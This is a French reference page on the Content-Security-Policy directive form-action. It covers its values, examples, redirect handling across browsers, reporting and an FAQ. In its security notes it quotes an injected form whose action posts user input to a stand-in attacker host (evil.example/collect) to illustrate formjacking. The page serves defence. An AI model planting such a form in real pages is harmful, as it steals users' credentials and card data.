form-action

La directive form-action contrôle vers quelles URL un <form> est autorisé à soumettre. Elle restreint la destination définie par l'attribut action d'un formulaire (et par formaction sur un bouton de soumission), de sorte qu'un formulaire injecté ou falsifié ne peut pas envoyer la saisie d'un utilisateur vers un serveur que vous n'avez pas approuvé.

N'autoriser les formulaires à soumettre que vers la même origine :

Content-Security-Policy: form-action 'self'

Chaîne de repli

form-action n'a pas de repli. default-src ne la couvre pas, donc tant que vous n'ajoutez pas form-action explicitement, les formulaires peuvent soumettre n'importe où. Son absence est le genre de lacune qui laisse un formulaire injecté exfiltrer discrètement des identifiants.

Valeurs

form-action prend une liste de sources. Elle n'accepte ni nonces ni hashes (ceux-ci décrivent du contenu, pas une cible de soumission).

Quand la cible d'un formulaire ne correspond pas à la liste de sources, le navigateur bloque la soumission et signale une violation. 'self' est la bonne valeur pour la plupart des sites, puisque les formulaires postent généralement vers la même origine. N'ajoutez des hôtes précis que pour les formulaires qui soumettent légitimement ailleurs, et évitez un joker ou un schéma nu comme https:, qui laisse un formulaire soumettre vers n'importe quel hôte et annule la directive.

Exemples

Autoriser un formulaire de paiement qui poste vers un hôte de paiement dédié :

Content-Security-Policy: form-action 'self' https://pay.example.com

Bloquer toutes les soumissions sur une page qui ne devrait jamais poster de formulaire :

Content-Security-Policy: form-action 'none'

Dans une politique plus complète, elle accompagne les autres contrôles de navigation :

Content-Security-Policy:
    default-src 'self';
    base-uri 'none';
    form-action 'self';
    frame-ancestors 'none'

Notes de sécurité

form-action défend contre les formulaires qui envoient la saisie de l'utilisateur au mauvais endroit. Si un attaquant injecte un <form action="https://evil.example/collect"> ou réécrit l'attribut action d'un formulaire existant, une victime qui soumet le formulaire expédie ses données directement à l'attaquant. C'est un chemin réel de vol d'identifiants et de formjacking sur les pages de paiement, où un formulaire falsifié capture les données de carte à la soumission.

Restreindre form-action à 'self' (ou aux hôtes précis vers lesquels vos formulaires postent) signifie que le navigateur refuse de soumettre ailleurs, donc une destination injectée ne reçoit jamais les données. Sur les pages de paiement, l'associer à la surveillance des scripts et des formulaires de la page contribue à répondre aux attentes côté client de PCI DSS v4.

Contournements et risques connus

Tous les navigateurs appliquent form-action à l'URL de soumission initiale du formulaire, mais la gestion des redirections diffère. Chrome et Safari appliquent aussi la directive aux redirections après soumission, tandis que Firefox ne vérifie que l'URL initiale, et l'issue de spécification qui trancherait ce comportement est toujours ouverte. Ajoutez à la liste les cibles de redirection sur lesquelles vos formulaires atterrissent, et traitez form-action comme une couche parmi d'autres, aux côtés de la validation côté serveur des destinations des formulaires sensibles, pas comme une garantie complète à elle seule.

Elle n'empêche pas non plus un script côté client de lire les champs du formulaire et de les envoyer ailleurs avec fetch ; ce chemin d'exfiltration est régi par connect-src, pas par form-action.

Définir form-action 'none' bloque toutes les soumissions, y compris les légitimes, donc ne l'utilisez que sur des pages qui n'ont réellement aucun formulaire. Le risque le plus courant est l'inverse, déployer une politique sans aucun form-action en supposant qu'un script-src solide couvre le cas. Ce n'est pas le cas. Passez la politique dans l'évaluateur CSP pour faire remonter un form-action manquant ou trop large.

Recommandation

Content-Security-Policy: form-action 'self'

Déployez 'self', ou 'self' plus les destinations explicites vers lesquelles vos formulaires postent réellement, conformément à la cheat sheet CSP de l'OWASP. Incluez les cibles de redirection dans la liste, car Chrome et Safari appliquent aussi form-action après les redirections tandis que Firefox ne vérifie que l'URL initiale.

Reporting

Quand la directive bloque une soumission, le navigateur émet un report csp-violation nommant form-action comme directive effective. Configurez la livraison avec la directive report-to et le header Reporting-Endpoints.

Prise en charge par les navigateurs

form-action fait partie de CSP niveau 2 et niveau 3 et est largement prise en charge par les navigateurs actuels. La gestion des redirections diffère encore selon le moteur ; voir Contournements et risques connus.

FAQ

Que fait form-action ?

form-action contrôle vers quelles URL un <form> est autorisé à soumettre, en restreignant la destination fixée par l'attribut action d'un formulaire et par formaction sur un bouton de soumission. Si la cible d'un formulaire ne correspond pas à la liste de sources, le navigateur bloque la soumission et rapporte une violation. 'self' convient à la plupart des sites.

form-action arrête-t-elle le CSRF ?

Non. form-action restreint où un formulaire peut soumettre, pas si une requête cross-site en forge une, ce n'est donc pas un contrôle contre le CSRF. Elle empêche un formulaire injecté de poster la saisie de l'utilisateur vers le serveur d'un attaquant. Elle n'empêche pas non plus un script de lire les champs et de les envoyer avec fetch, ce que régit connect-src.

Voir aussi

• default-src
• base-uri
• frame-ancestors
• connect-src
• navigate-to, la directive retirée qui aurait couvert la navigation par lien et par script
• Valeurs mot-clé CSP

Sources

• MDN, CSP form-action
• W3C, Content Security Policy Level 3
• OWASP, Content Security Policy cheat sheet
• W3C webappsec-csp issue 8, form-action and redirects